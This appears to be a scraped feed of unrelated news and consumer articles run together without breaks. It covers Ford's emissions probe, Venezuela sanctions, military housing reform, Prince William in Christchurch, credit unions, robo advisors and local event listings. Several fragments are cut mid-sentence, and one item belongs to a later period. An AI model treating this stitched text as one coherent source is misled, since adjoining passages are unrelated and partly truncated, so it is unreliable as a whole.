Ajmera WASHINGTON, April 26 (Reuters) - The U.S. Justice Department has opened a criminal investigation into Ford Motor Co's emissions certification process in the United States, the automaker disclosed on Friday, saying it was cooperating fully with the probe and still conducting its own internal review. Ford said in a statement the Justice Department had notified it earlier this month of the criminal investigation, which made the automaker the latest to come under scrutiny for adherence to emissions standards by U.S. officials. "Ford is fully cooperating with the government, and well keep them posted on what were finding through our investigation and technical review," the company said. Justice Department spokesman Peter Carr declined to comment. The Environmental Protection Agency also declined comment. Ford has held meetings with the California Air Resources Board and EPA officials and turned over documents related to its review, a person briefed on the matter said. The No. 2 U.S. automaker has also submitted a testing plan that has been approved by regulators, the person said. The first vehicle Ford is evaluating is the 2019 Ranger pickup truck. Ford potentially faces significant financial penalties as regulators have taken a tough line on emissions issues. EPA Administrator Andrew Wheeler said earlier this month the agency had other enforcement actions against other automakers "in the works." "When people are not playing by the rules and they are creating more pollution ... we will catch them, we will hold them accountable," Wheeler said. Ford disclosed an issue with emissions to the EPA and the California in February, and hired outside law firm Sidley Austin and experts to investigate its vehicle fuel economy and testing procedures after employees raised concerns about analytical modeling that is part of its fuel economy and emissions compliance process. Story continues Ford said previously it did not know whether it would have to correct data provided to regulators or consumers. But the company reiterated in a regulatory filing Friday that the emissions issue does not involve the use of so-called defeat devices. (https://bit.ly/2VqjHpl) U.S. and California regulators have been cracking down on automakers for emissions cheating following revelations in 2015 that German automaker Volkswagen AG had used defeat devices to make models equipped with diesel engines appear to comply with emissions standards when they emitted far more pollution than allowed in real-world driving. Ford said it had been looking into concerns raised by employees since last fall that incorrect calculations were used to translate test results into vehicle mileage and emissions data submitted to regulators. Ford is evaluating changes to the process it uses to develop fuel economy and emissions figures "including engineering, technical and governance components," the Dearborn, Michigan-based company said. In January, Fiat Chrysler Automobiles NV agreed to an $800 million settlement to resolve claims by the U.S. Justice Department and the state of California that it used illegal software to produce false results on diesel-emissions tests. A Justice Department criminal investigation is pending. U.S. regulators are also investigating Daimler AG for alleged excess emissions in Mercedes-Benz diesel vehicles, but the Justice Department and EPA have declined to comment on the status of the probe. Daimler has declined to comment, but has previously acknowledged it faces investigations in Germany and the United States. In total, Volkswagen has agreed to pay more than $25 billion in the United States over the diesel emissions scandal, for claims from owners, environmental regulators, states and dealers, and it offered to buy back about 500,000 polluting U.S. vehicles. Ford has been embarrassed in the past by errors in fuel economy claims. In 2013, the automaker cut by seven miles (11 km) per gallon the claimed fuel economy for its C-Max hybrid model following complaints that real-world mileage did not match the claimed fuel economy. In 2014, Ford lowered fuel economy ratings for six other models and offered compensation to customers. (Reporting by Ankit Ajmera in Bengaluru and David Shepardson in Washington; Editing by Andrea Ricci and Tom Brown) (Adds comment from Venezuelan foreign minister) WASHINGTON, April 26 (Reuters) - The United States on Friday imposed sanctions on Venezuela's Foreign Minister Jorge Arreaza, saying it would pursue those in President Nicolas Maduro's government for corruption as well as officials conducting diplomacy on his behalf. Arreaza and a judge in the Court of Appeals for Caracas, Carol Padilla, were targeted in the latest round of U.S. sanctions against Maduro's government over the crisis in Venezuela, the Treasury Department said. Washington blames Maduro for the country's economic collapse and for undermining democracy. The Trump administration recognized Venezuela's opposition leader Juan Guaido as the South American nation's interim president and has asked Maduro, a socialist in power since 2013, to step down. "The United States will not stand by and watch as the illegitimate Maduro regime starves the Venezuelan people of their wealth, humanity, and right to democracy," Treasury Secretary Steven Mnuchin said in a statement. "Treasury will continue to target corrupt Maduro insiders, including those tasked with conducting diplomacy and carrying out justice on behalf of this illegitimate regime." Venezuela's foreign ministry responded by "energetically" rejecting the sanctions, which it called "unilateral and illegal." "With these new measures, the Trump administration is trying to silence Venezuela's voice in the world," the ministry said. In a separate statement, the U.S. Department of State said Friday's designation was "a reminder" that Venezuelan authorities have detained Guaido's top aide, Roberto Marrero, since March and that such actions would have consequences. "If Nicolas Maduro and those aligned with him continue to use imprisonment and intimidation against the legitimate government and people of Venezuela, the United States will respond," the department said, reiterating the U.S. demand for Marrero's release. Story continues Since the United States recognized Guaido in January, Arreaza has been a regular visitor to the United States, specifically the United Nations in New York, where he has lobbied countries to build support for Maduro. He is married to the eldest daughter of Hugo Chavez, Venezuela's former president who died in 2013 of cancer. It was not immediately clear whether the sanctions would affect his travel to the U.N. Arreaza has spoken at U.N. Security Council meetings on Venezuela and held lengthy press conferences. On Thursday he addressed a meeting of the 193-member U.N. General Assembly on multilateralism. He met with U.N. Secretary-General Antonio Guterres on Wednesday and discussed the humanitarian situation in the country, a U.N. spokesman said. Arreaza also met with Iranian Foreign Minister Mohammad Javad Zarif in New York on Wednesday. He is active on Twitter, directly taking on U.S. President Donald Trump and White House national security adviser John Bolton. (Reporting by Susan Heavey, Makini Brice and Lesley Wroughton, and Michelle Nichols at the United Nations Editing by Chizu Nomiyama, Jonathan Oatis and Richard Chang) (Fixes hyperlink in paragraph 1, adds dropped word in paragraph 3) By Joshua Schneyer and M.B. Pell NEW YORK, April 26 (Reuters) - Senator Elizabeth Warren and other Democratic lawmakers on Friday proposed a bill https://fingfx.thomsonreuters.com/gfx/reuterscom/1/121/121/Military%20Housing%20Oversight%20and%20Service%20Member%20Protection%20Act.pdf that offers new protections for U.S. military families facing unsafe housing, following a series of Reuters reports revealing squalid conditions in privately managed base homes. The Reuters reports https://www.reuters.com/investigates/section/usa-military and later Congressional hearings detailed widespread hazards including lead paint exposure, vermin infestations, collapsing ceilings, mold and maintenance lapses in privatized base housing communities that serve some 700,000 U.S. military family members. The bill from the Massachusetts Democrat who is seeking her party's nomination for the 2020 U.S. presidential election, would mandate both regular and unannounced spot inspections of base homes by certified, independent inspectors. It would also hold landlords accountable for quickly fixing hazards. The militarys privatization program for years allowed real estate firms to operate base housing with scant oversight, Reuters found, leaving some tenants in unsafe homes with little recourse against landlords. The bill would also require the Department of Defense and its private housing operators to publish reports annually detailing housing conditions, tenant complaints, maintenance response times and the financial incentives companies receive at each base. The provisions aim to enhance transparency of housing deals whose finances and operations the military had allowed to remain largely confidential under a privatization program since the late 1990s. The measure would also require private landlords to cover moving costs for at-risk families, and healthcare costs for people with medical conditions resulting from unsafe base housing, ensuring they receive continuing coverage even after they leave the homes or the military. Story continues This bill will eliminate the kind of corner-cutting and neglect the Defense Department should never have let these private housing partners get away with in the first place, Warren said in a statement Friday. The proposed legislation comes after February Senate hearings where Warren, a member of the Senate Armed Services Committee, slammed private real estate firms for endangering service families, and sought answers about why military branches were not providing more oversight. The legislation would direct the Defense Department to allow local housing code enforcers onto federal bases, following concerns they were sometimes denied access. A companion bill in the House of Representatives will be introduced by Representative Deb Haaland, Democrat of New Mexico. The Senate bill, to be introduced next week, will be co-sponsored by other Democratic lawmakers including Richard Blumenthal of Connecticut and Kristen Gillibrand of New York. In response to the housing crisis, military branches are developing a tenant bill of rights and hiring hundreds of new housing staff. The branches recently dispatched commanders to survey base housing worldwide for safety hazards, resulting in thousands of work orders and hundreds of tenants being moved. The Defense Department has pledged to renegotiate its 50-year contracts with private real estate firms. Congress has been quick to take its own measures. Earlier legislation proposed by Senators Dianne Feinstein and Kamala Harris of California, along with Mark Warner and Tim Kaine of Virginia, would compel base commanders to withhold rent payments and incentive fees from the private ventures if they allow home hazards to persist. (Editing by Ronnie Greene and David Gregorio) * NZ mosque attacks 'fueled by warped ideology' - Prince William * Prince addresses mosque where 43 people killed * Two-day visit included meeting survivors, first responders * William also attended Anzac Day memorial service (Recasts throughout with prince's comments at mosque; adds bullet points) By Charlotte Greenfield WELLINGTON, April 26 (Reuters) - Extremist ideology must be defeated, Britain's Prince William said during a visit to a New Zealand mosque on Friday where dozens were killed in a mass shooting last month after earlier meeting survivors of the massacre. William, the Duke of Cambridge, spoke at Al Noor mosque in the South Island city of Christchurch, one of two mosques where 50 people were killed by a lone gunman during Friday prayers on March 15. Forty-three people were killed at Al Noor mosque. "What happened here was fueled by a warped ideology that knows no boundaries," William told an audience that included Prime Minister Jacinda Ardern and other religious and community leaders. "Extremism in all its forms must be defeated," he said. William made the two-day visit to New Zealand on behalf of his 93-year-old grandmother Queen Elizabeth, New Zealand's head of state, following a request by Ardern. Preceded by a large contingent of police and watched by a police helicopter overhead, he was greeted by Ardern and the imam of Al Noor mosque, Gamel Fouda. He was due to visit the Linwood mosque, where another seven people were killed, later on Friday. "The message from Christchurch and the message from Al Noor and Linwood mosques could not be more clear. The global ideology of hate will fail to divide us," William said. Fouda thanked the prince for his speech, saying he had shown "we count." A 28-year-old man, a suspected white supremacist, has been charged with 50 counts of murder over New Zealand's worst peacetime mass shooting. Another 50 people were wounded in the attacks. Story continues William started his visit on Thursday in Auckland, New Zealand's largest city, where he attended an Anzac Day service in remembrance of Australian and New Zealand war dead. He later visited the Starship Children's Hospital with Ardern to meet 5-year-old Alen Alsati, who woke recently from a coma after she and her father were wounded in the attack. Photos and a video posted on Kensington Palace's Twitter account showed William sitting on the side of the child's hospital bed, surrounded by her family and Ardern. The girl asked if he had a daughter. "Yes, she's called Charlotte ... she's about the same age as you," William replied. He flew to Christchurch later on Thursday to meet some of the first responders to the mosque shootings, including ambulance staff. "You did an incredible job on a very bad day," he said, according to Kensington Palace's Twitter account. (Reporting by Charlotte Greenfield Editing by Sandra Maler and Paul Tait) (Adds statement from Venezuelan military) GENEVA, April 26 (Reuters) - At least 21 Venezuelans were missing after their boat sank on the way to the Caribbean island nation of Trinidad and Tobago, the United Nations refugee agency said on Friday. The boat, the "Jhonnaly Jose," was carrying at least 25 people from the Venezuelan coastal town of Guiria when it capsized in the early hours of Wednesday, UNHCR spokesman Babar Baloch told a regular U.N. briefing in Geneva. "This tragic incident highlights the extreme risks of sea journeys and other irregular cross-border movements undertaken by refugees and migrants. It also underscores the desperation of those forced to flee their homes and the extraordinary difficulties faced on their journey," he said. Over 3 million Venezuelans have fled the South American country since 2014 due to widespread shortages of food and medicine and deteriorating law and order. Four of the 25 aboard the boat were rescued by the Trinidad and Tobago coast guard after a search and rescue effort carried out jointly with Venezuelan counterparts, and then taken back to Venezuela, Baloch said. Trinidad and Tobago is situated about 70 km (45 miles) from Venezuela's northern coastal state of Sucre. The maritime defense unit of Venezuela's armed forces said on Twitter later on Friday that Sucre's coast guard had rescued 10 passengers and that the search was continuing. It said 34 people had been traveling on the boat, and did not mention any deaths. Venezuela has been in deep political crisis since January when Juan Guaido, head of the opposition-controlled congress, invoked the constitution to assume an interim presidency, arguing President Nicolas Maduro's 2018 re-election was not legitimate. (Reporting by Tom Miles Additional reporting by Caracas newsroom Editing by Mark Heinrich and Rosalba O'Brien) (Adds details from World Bank statement on Malpass trip, paragraphs 3, 11-13) By David Lawder WASHINGTON, April 26 (Reuters) - Nearly 40 world leaders and scores of finance officials, including International Monetary Fund Managing Director Christine Lagarde, are gathered in Beijing for China's second Belt and Road infrastructure summit, but the World Bank's new president is not among them. David Malpass, fresh from a senior Trump administration post at the U.S. Treasury Department, is instead making his first foreign trip as the World Bank's leader to sub-Saharan Africa to highlight his vision for the bank's poverty reduction and development agenda. The World Bank Group said in a press release that Malpass will visit Madagascar, Ethiopia and Mozambique April 29-May 3, meeting with leaders, stakeholders and visiting World Bank-funded projects. His trip will include the port city of Beira, which was devastated by Cyclone Idai in March. World Bank Chief Executive Officer Kristalina Georgieva, who had been acting president during the leadership selection process, is representing the institution at the summit and had accepted China's invitation before Malpass started at the bank on April 9, a World Bank spokesman said. Former World Bank President Jim Yong Kim attended China's first Belt and Road summit two years ago. Leaders of two of the countries on Malpass' trip, Ethiopia and Mozambique, are among a number of African leaders also attending this year's summit. Malpass, who was the Treasury's undersecretary for international affairs, is a longtime critic of China's Belt and Road lending practices and had worked to raise alarms about them with G7 and G20 countries. "In lending, China often fails to adhere to international standards in areas such as anti-corruption, export credits, and finding coordinated and sustainable solutions to payment difficulties, such as those sought in the Paris Club," Malpass told a U.S. House Financial Services subcommittee in December. Story continues His absence coincides with a significant downgrade of the Belt and Road summit by the United States as the Trump administration tries to negotiate a deal to resolve longstanding trade and intellectual property disputes with China. No high-level U.S. officials are attending, a State Department spokesman said, citing similar concerns about Belt and Road debt. Malpass said in a statement that it was important to increase Africa's development momentum to boost growth, raise incomes and tackle climate resilience because the world's poorest are increasingly concentrated in sub-Saharan Africa. "I have chosen the African continent for my first official visit as World Bank Group president, recognizing the difficult challenges for leaders in promoting economic growth, security, and good governance," he said. The bank said he would focus the visit on promoting economic stability, building resilience and using private sector partnerships to build resources for development. He told reporters on his first day on the job that he wanted to "evolve" the bank's relationship with China to one where Beijing is a bigger contributor of capital and cooperates more closely with the bank on development issues and poverty reduction. But Treasury Secretary Steven Mnuchin, Malpass' former boss, on the same day told U.S. lawmakers that the World Bank under Malpass' leadership and a new U.S. development agency "can be a serious competitor to (China's) Belt and Road." (Reporting by David Lawder; editing by Jason Neely and David Gregorio) By Moses Kyeyune Civil Society, tax experts and manufacturers have expressed mixed reactions on the new tax measures proposed by the government for the next financial year. The different stakeholders were appearing before Parliaments Committee on Finance on (Thursday) to give their take on the tax proposals introduced by the government. One of the most contentious issues is the introduction of a 6 percent withholding tax on the acquisition of assets, as well as a new 0.5 percent tax on perpetual declaration of losses by large scale investments enjoying tax holidays. The government also wants to slap rental tax on every (single) unit from real estate operators. Whereas the civil society under the Tax Justice Alliance Uganda has welcomed the move, manufacturers from the Uganda Manufacturers association led by the executive Director Richard Mubiru have decried the move as unfair, and risks breeding non compliance due to huge tax burdens. In an related development, PricewaterhouseCoopers Director, Francis Kamulegeya has asked lawmakers on the committee of Finance to expunge any provisions aimed at multiple taxation, fearing that they can harm the tax basket. If you're looking for a new place for your checking and savings accounts, don't limit your search to banks. You may discover credit unions have more to offer than you think. Credit unions are not-for-profit organizations that operate on a philosophy of people helping people, says Christopher Roe, corporate and legislative affairs officer for CUNA Mutual Group, a provider of insurance, investment and financial technology solutions for credit unions. Unlike banks which are publicly owned by stockholders, credit unions are cooperatives and member-owned. "I think a lot of people feel that credit unions are smaller because they are more member-focused, but credit unions can be just as powerful as banks," says Jay Ferrans, president of JM Financial & Accounting Services in Southfield, Michigan. It's a common misconception about credit unions. "(People) don't think of us as full-service," says Jacqui Kearns, chief brand officer at Affinity Federal Credit Union. However, many credit unions offer the same consumer products and loans as banks. [Read: 6 Predictions for Banking in 2019.] Here are other lesser-known facts about credit unions: -- Credit unions aren't FDIC insured. -- Most deposits are insured through the NCUA. -- You have to be eligible to join a credit union. -- Once a member, always a member. -- Every member has a vote. -- Credit unions may use different terminology. -- You must have a share account. -- Free ATMs are generally available. -- Credit unions may share branches. -- Not all credit unions offer the same features. Credit Unions Aren't FDIC Insured The Federal Deposit Insurance Corporation was created in 1933 in response to a string of bank failures. As an independent agency of the federal government, the FDIC monitors banks for financial soundness as well as compliance with consumer protection laws. However, the FDIC doesn't oversee credit unions. Credit unions are subject to other government agencies. "We are governed by the National Credit Union Association, which is a federal agency," says Beth Long, senior vice president of marketing and communications for Chartway Federal Credit Union. Federally chartered credit unions are subject to NCUA regulations, while state-chartered institutions are overseen by state regulatory boards. Story continues Most Deposits Are Insured Through the NCUA From a consumer perspective, the major benefit of the FDIC is its insurance coverage of up to $250,000 per depositor. This insurance provides peace of mind that money won't be lost should a bank fail. While credit unions aren't covered by the FDIC, their deposits are insured as well. All federal credit unions and many state-chartered credit unions are federally insured by the NCUA. Some state-chartered credit unions might be covered by private deposit insurance instead. You Must Be Eligible to Join a Credit Union All credit unions have a field of membership in their charters that defines who is eligible to join. "The premise is that there is a common bond among credit union members," Roe says. While membership is limited, joining a credit union is likely easier than you imagine. "Generally, you are required to live, work, worship or study within an area that a credit union is chartered to serve," Long says. Even if you are outside the geographic area of a credit union, you may be able to join if you have a family member who already belongs to the institution or if you meet other criteria. For instance, Chartway Federal Credit Union will grant membership to anyone making a $10 donation to the We Promise Foundation. Once a Member, Always a Member Once you are a member of a credit union, you can remain a member regardless of what happens to your original qualifications. "The great part is you are a member for life," Kearns says. That means that even if you move to a new city or if you change employers, you can keep your credit union membership. Credit Unions May Use Different Terminology The deposit account terminology at a credit union is a little different than at a bank. "From a product standpoint, credit unions have share accounts and share certificates versus savings accounts and certificates of deposit," Long explains. Despite the different names, these accounts function similarly. "The biggest difference in terminology would be members instead of customers," Ferrans says. Credit union members are owners of the institution, unlike banking customers. [Read: How to Choose a Bank] Every Member Has a Vote As an owner of the credit union, members are entitled to vote for who sits on the board of directors. "Each credit union member gets one vote regardless of how much they have in their account," Roe says. You Must Have a Share Account All credit unions require you to maintain a share account with a minimum balance even if you just want a loan. A share account is the equivalent of a savings account at a bank, though it pays dividends instead of interest. It indicates that a person has a share of ownership of the account. The required minimum balance may range from $1 to $50, though minimums on the lower end are most common. Free ATMs Are Generally Available Many credit unions belong to nationwide ATM networks. This gives you surcharge-free access to thousands of ATMs around the country. As a result, free ATM access for credit union members can be as widespread as that available through big banks. Credit Unions May Share Branches Even the smallest of credit unions may offer their members access to multiple branch locations thanks to the shared branch network which allows members to perform many banking transactions at an office of another credit union within the network. This means credit union members may be able to access thousands of branches across the nation. Not All Credit Unions Offer the Same Features Before opening an account at a credit union, confirm what products and features it offers. While large federal credit unions, such as Navy Federal Credit Union and Affinity Federal Credit Union, offer services on par with most banks, smaller credit unions could be more limited. For instance, some may not offer mortgages or mobile banking apps. Even larger credit unions may be restricted in what they can provide business customers. "We cannot lend on the commercial side as much," Kearns says. [Read: 5 Banking Blunders You Don't Want to Make.] "Almost all credit unions in relation to the largest banks are small," Roe says. However, that's not necessarily a bad thing if you're looking for a financial institution that offers attentive service and a personalized touch. 4090 Rosenda Court. | Photos: Zumper Curious just how far your dollar goes in University City? According to Walk Score, this San Diego neighborhood is car-dependent, isn't particularly bikeable and has some transit options. Data from rental site Zumper shows that the median rent for a one bedroom in University City is currently hovering around $1,800. So, what might you expect to find if you've got $2,300 / month earmarked for your rent? Read on for a roundup of the latest rental offerings, via Zumper. (Note: prices and availability are subject to change.) Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions. 4090 Rosenda Court Listed at $2,300/month, this 685-square-foot one-bedroom, one-bathroom unit is located at 4090 Rosenda Court. In the furnished unit, expect air conditioning and carpeted floors. The building has on-site laundry, assigned parking and a swimming pool. Cats and dogs are not permitted. (See the complete listing here.) 7224 Shoreline Drive, #172 Next, there's this one-bedroom, one-bathroom unit over at 7224 Shoreline Drive, #172. It's listed for $2,295/month for its 820 square feet of space. The building offers garage parking, a swimming pool and storage space. In the unit, anticipate air conditioning, a balcony and a dishwasher. Animals are not welcome. Future tenants needn't worry about a leasing fee. (Take a gander at the complete listing here.) 9253 Regents Road, #UNIT A306 Here's a 764-square-foot studio unit at 9253 Regents Road, #UNIT A306 that's going for $2,250/month. In the unit, you'll get a fireplace and air conditioning. The building has a swimming pool and a fitness center. Pet owners, inquire elsewhere: this spot doesn't allow cats or dogs. (Check out the complete listing here.) This story was created automatically using local real estate data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. The Daily Beast ALEXEY NIKOLSKY/GettyMOSCOWAfter months of bubbling tensions and threats of all-out war, Ukraine has made the shock decision to grant one of President Vladimir Putins greatest wishes.As far as overtures go, this was a grand gesture indeed.Ukraine has charged former President Petro Poroshenkowho is described in Moscow as Washingtons puppetwith state treason and financing terrorism. The longtime enemy of Putin faces as much as 15 years in prison if convicted.Even more delicious for Moscow, Photo: Luke Pennystan/Unspalsh Looking to make a difference this weekend? From a sorority fundraiser to a non-profit benefit, there's plenty to do when it comes to good causes coming up in Memphis this week. Read on for a rundown. Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions. Forty Shades Of Pink Day Party The ladies of Beta Epsilon Omega Chapter of Alpha Kappa Alpha Sorority, Inc. are hosting a Forty Shades Of Pink day party at Prive' Restaurant. Funds will benefit the groups philanthropic programs. When: Saturday, April 27, 2-6 p.m. Where: Prive' Restaurant, 6980 Winchester Road. Admission: $11 Click here for more details, and to get your tickets Breakfast for Dinner 2019 A Benefit for Room in the Inn Enjoy breakfast for dinner at First Congregational Church on Saturday. Expect pancakes, breakfast casseroles, grits and much more. There will also be vegetarian and vegan options available. Memphis Made beer and breakfast cocktails, prepared by Nick Lumpkin, will also be served. The event supports Room in the Inn, a network of churches that help the homeless by providing food and shelter. When: Saturday, April 27, 5:30-8 p.m. Where: First Congregational Church, 1000 Cooper St. Admission: Donations are welcome. $10 (Child Ticket - 10 & Under); $20 (Adult Ticket) Click here for more details, and to get your tickets Literacy Mid-South's ZERO-K Join Literacy Mid-South at Wiseacre Brewing Co. in athleisure wear for its Literacy Mid-South's ZERO-K event. There will also be drinks and a raffle. This event is open to kids and pets as well. Proceeds for the event will help provide a bag of books, notebooks and other school supplies to summer reading students. When: Sunday, April 28, 3-7 p.m. Where: Wiseacre Brewing Co., 2783 Broad Ave.. Admission: Free (Donate to LMS); $25 (ZERO-K race entry) Click here for more details, and to get your tickets This story was created automatically using local event data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. The Hill The National Hockey League (NHL) has confirmed that its players won't participate in the upcoming Beijing Winter Olympics amid COVID-19 concerns. In a statement on Wednesday, the league said it will instead use the previously scheduled Feb. 6-22 Olympic break to make up postponed games and those that need to be rescheduled.Due most significantly to a surge of team COVID-19 outbreaks in recent weeks, 50 games have been postponed this season as of... Technology is turning the way investment advice is delivered on its head. Robo advisors are redefining the traditional financial advisor model by leveraging algorithm-based strategies for portfolio construction -- whether it's for stocks, mutual funds or exchange-traded funds. "Cost, convenience and technology are the most attractive features for the younger generation flocking to robo advisors," says Tony Drake, CEO and founder of Drake & Associates in Waukesha, Wisconsin. "Millennials are much more comfortable working with an app and avoiding human interaction." Regardless of age, robo advisors can fill certain needs when building a portfolio. Namely, the need for simplified investing as part of a hands-off, low-cost approach. Gregory Lawrence, certified financial planner and founder of Lawrence Legacy Group in Estero, Florida, says robo advisors eliminate the middle man, along with the higher fees personal advisors may charge. He says investing through a robo platform can make life simpler for investors when markets behave well. Those characteristics work in robo advisors' favor, but they aren't without certain flaws. Experts say there are three important reasons to think twice before investing with a robo advisor. -- Automatic rebalancing isn't perfect. -- Robo advisors can be tax inefficient. -- There's no personal touch. Automatic Rebalancing Isn't Perfect Asset allocation isn't designed to be fixed; it's intended to shift and evolve along with an investor's risk tolerance and time horizon. Robo advisors attempt to make managing asset allocation easier through automatic rebalancing, but there are problems with that strategy. The first is the potential for returns to underwhelm. "Robo investing makes your portfolio performance average, rarely giving you superlative returns relative to the market," Lawrence says. [See: 7 Robo Advisors for Socially Responsible Investors.] Story continues That type of outcome may be more likely when a robo advisor changes the balance more frequently, which may go against the grain for an investor who favors a buy-and-hold approach. "Hyper, periodic rebalancing can force portfolios to sell winners into growing markets and not realize the holding periods required for investment participation," says Adam Holt, CEO and founder of Philadelphia-based Asset-Map. There's also a cost component to consider. Drake says changing the balance automatically can get expensive if it triggers transaction fees or taxable events. He also notes that automatic rebalancing models have yet to be tested against a large market correction. The possibility of a correction aside, automatic rebalancing can make it harder to create a customized portfolio. "The investments made by robo advisors are often based on a risk tolerance score but don't necessarily account for other pieces of a financial plan," says Matt Schulte, head of financial planning at eMoney Advisor. "Automatic rebalancing may not produce the best outcomes for clients because their other assets, investments and overall financial goals are not taken into consideration." That could be a serious issue for someone whose assets aren't centralized at a single robo advisor platform. Drake says that type of scenario calls for extra caution on the part of investors. "An automatic rebalance from a robo advisor could make you overweighted in a certain sector if it doesn't take into account all of your assets," he says. "Diversification should look at all assets in your portfolio; one hand needs to know what the other hand is doing." They Can Be Tax Inefficient A handful of robo advisors include automatic tax-loss harvesting within their scope of services. This strategy involves offsetting investment gains, and subsequently capital gains tax by selling under-performing investments at a loss. In a taxable investment account, tax-loss harvesting can work to an investor's advantage. The problem with allowing a robo advisor to harvest losses automatically is that it could result in tax inefficiency if the wash-sale rule is triggered. [See: 7 Robo Advisors With a Human Touch.] The wash-sale rule specifies that for a tax loss to offset a gain, an investor can't purchase the same or substantially identical investment within 30 days before or after the sale. Robo advisors can violate this rule without being aware of it if investors are harvesting losses on their own in other investment accounts. Bill Van Sant, senior vice president and managing director at Girard says the main problem is tunnel vision with regard to what's happening outside the platform. "Robo advisors focus narrowly on the portfolio that is managed on the platform," Van Sant says. "While the intention is good, it may not be overly tax efficient if not considering personal situations." Like automatic rebalancing, tax-loss harvesting could shortchange returns if it's done by a robo advisor without taking the bigger picture into account. "If you have a long-term time horizon, reacting to short-term market volatility can be detrimental," Drake says. There's No Personal Touch Robo advisors eliminate the need to schedule in-person meetings with a financial advisor. While that may be a time saver, it leaves little room for an investor to receive personalized advice, which Drake says is the biggest downside of robo advisors. He says younger investors may not mind not having a personal connection but as investors get older, investing tends to become more emotional with retirement accounts. "Retirees go from making money to spending money and their biggest fear is going broke," Drake says. "There are so many things to take into account as you plan for the future and it's important to work with a fiduciary who can help you through that process." While robo advisors may come with certain automatic features, such as rebalancing, they don't automatically adjust to accommodate life changes, Schulte says. "There's no relationship, you need a person for that," he says. "Advisors build relationships and create financial plans and investment recommendations tailored to individual clients." Those relationships become vital during periods of market volatility. [See: 8 Investing Do's and Don'ts During Market Volatility.] "In times of uncertainty, most people will seek certainty in a credible human who can provide that confidence," Holt says. "Very often, a human advisor's role is to help an investor from being their worst enemy by making emotional decisions at the wrong times with respect to their portfolio." While robo advisors can employ advanced algorithms to make investment decisions, they can't see the future. Traditional human advisors don't come with a crystal ball either, but they may be better equipped to forecast market movements and trends. Lawrence says a robo advisor may best service someone with an uncomplicated portfolio who's bullish on the market. "But if you want experience, tax and financial planning, then the human advisor is more than likely your best choice," he says. Photo: Zach Chisholm/Flickr Looking for some education-oriented or kid-friendly events this weekend? From tree planting to fun live music, there's plenty to do when it comes to opportunities for learning and fun. Read on for a rundown of what to do this weekend. Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions. Arbor Day Festival National Arbor Day is on Friday, but, if you can wait until Saturday to get your fix, you can catch the first-ever D.C. Arbor Day Festival. Oxon Run Park in Anacostia will play host to the all-ages event, which will include bike rides, walks, live music, tree climbing, food and, of course, tree planting. When: Saturday, April 27, 10 a.m.-3 p.m. Where: Oxon Run Park, 1250 Valley Ave. SE Admission: Free Click here for more details, and to RSVP Book Bash Also on Saturday, community partners in Ward 7 are promoting reading at this "book bash" being held at the Sixth District Metropolitan Police Department. Author Miguel Coppedge will be on hand to read his book 'The Adventures Of Fireman,' and parents can learn about how to create an in-home library for their children. When: Saturday, April 27, 11 a.m.-2 p.m. Where: Sixth District Metropolitan Police Department, 5002 Hayes St. NE Admission: Free Click here for more details, and to RSVP Rocknoceros Kids' Concert Then on Sunday, kids' music group Rocknoceros plays Capitol Cider House. Young attendees will enjoy the songs from albums like 'Plymouth Rockers' and 'Colonel Purple Turtle,' while their more aged overlords will appreciate a full food and beverage menu, including the locally-sourced ciders. When: Sunday, April 28, 10:30-11:30 a.m. Where: Capitol Cider House, 3930 Georgia Ave. NW Admission: Free Click here for more details, and to RSVP Lincoln University 'State of the University' Address Finally, the president of Lincoln University will present a 'State of the University' address to alumni and others interested in an update on this country's first degree-granting historically-black college as it approaches its 165th anniversary. Funds will be raised. When: Sunday, April 28, 3-5 p.m. Where: In3DC, 2301-D Georgia Ave. NW Admission: Free Click here for more details, and to RSVP This story was created automatically using local event data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. Photo: Vishnu R Nair/Unsplash If you love to take advantage of the music offerings near you, this weekend offers several great reasons to leave the house. From a folk rock concert to a reggae rock show, read on for a local music to-do list to fill your calendar this week. Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions. Changing Hands Concert: Distant Relations Be in the audience on Saturday to see Distant Relations, an acoustic folk rock band, as they mark the 40th anniversary of their graduation from Notre Dame. Doors open at 6 p.m. and the show starts at 7 p.m. When: Saturday, April 27, 7-9 p.m. Where: Changing Hands Bookstore, 300 W. Camelback Road Admission: $10 Click here for more details, and to get your tickets Sage Francis and B. Dolan - Epic Beard Men On Saturday night, enjoy the talents of rappers Sage Francis and B. Dolan, who together make up Epic Beard Men. Doors open at 7 p.m. and the show starts at 8 p.m. This event is for ages 16 and over. When: Saturday, April 27, 8-11 p.m. Where: Crescent Ballroom, 308 N. Second Ave. Admission: $20 Click here for more details, and to get your tickets Tomorrows Bad Seeds Groove out on Saturday night to reggae rock band Tomorrows Bad Seeds. Clint Stevens, a seven-piece reggae/funk/rock band, will open the show. Doors open at 8 p.m. This event is for ages 21 and over. When: Saturday, April 27, 9-11:30 p.m. Where: Last Exit Live, 717 S. Central Ave. Admission: $12-$15 Click here for more details, and to get your tickets Run River North On Sunday, come out to see indie folk rock band Run River North. Doors open at 7:30 p.m. and the show opens at 8 p.m. This event is for ages 21 and over. When: Sunday, April 28, 8-11 p.m. Where: Valley Bar, 130 N. Central Ave. Admission: $12 Click here for more details, and to get your tickets This story was created automatically using local event data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. Photo: Kelsey Knight/Unsplash Hungry for something new? If you love to eat and drink, the weekend ahead offers a great chance to explore the world of Chicago food and beverage. From a walking wine tour to a celebration of Mexican craft spirits, here's what to do on the local food and drink scene. Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions. Half Acre Beer & Build Co. Opening Party From the event description: Half Acre Beer & Build Co. is a creative workshop focusing on tap handles, wood working, screen printing and design. Join us for the opening celebration of "In the Past, In the Future," a collection of creative work in many mediums. Volo Midwestern Wheat, Bodem IPA, Pony Pilsner and more will be available on tap. When: Friday, April 26, 5-8 p.m. Where: The Commons Club, 203 N. Wabash Ave. Admission: Free Click here for more details, and to get your tickets Michelada Fest Pop-Up Fundraiser 2019 From the event description: Get a preview of our highly 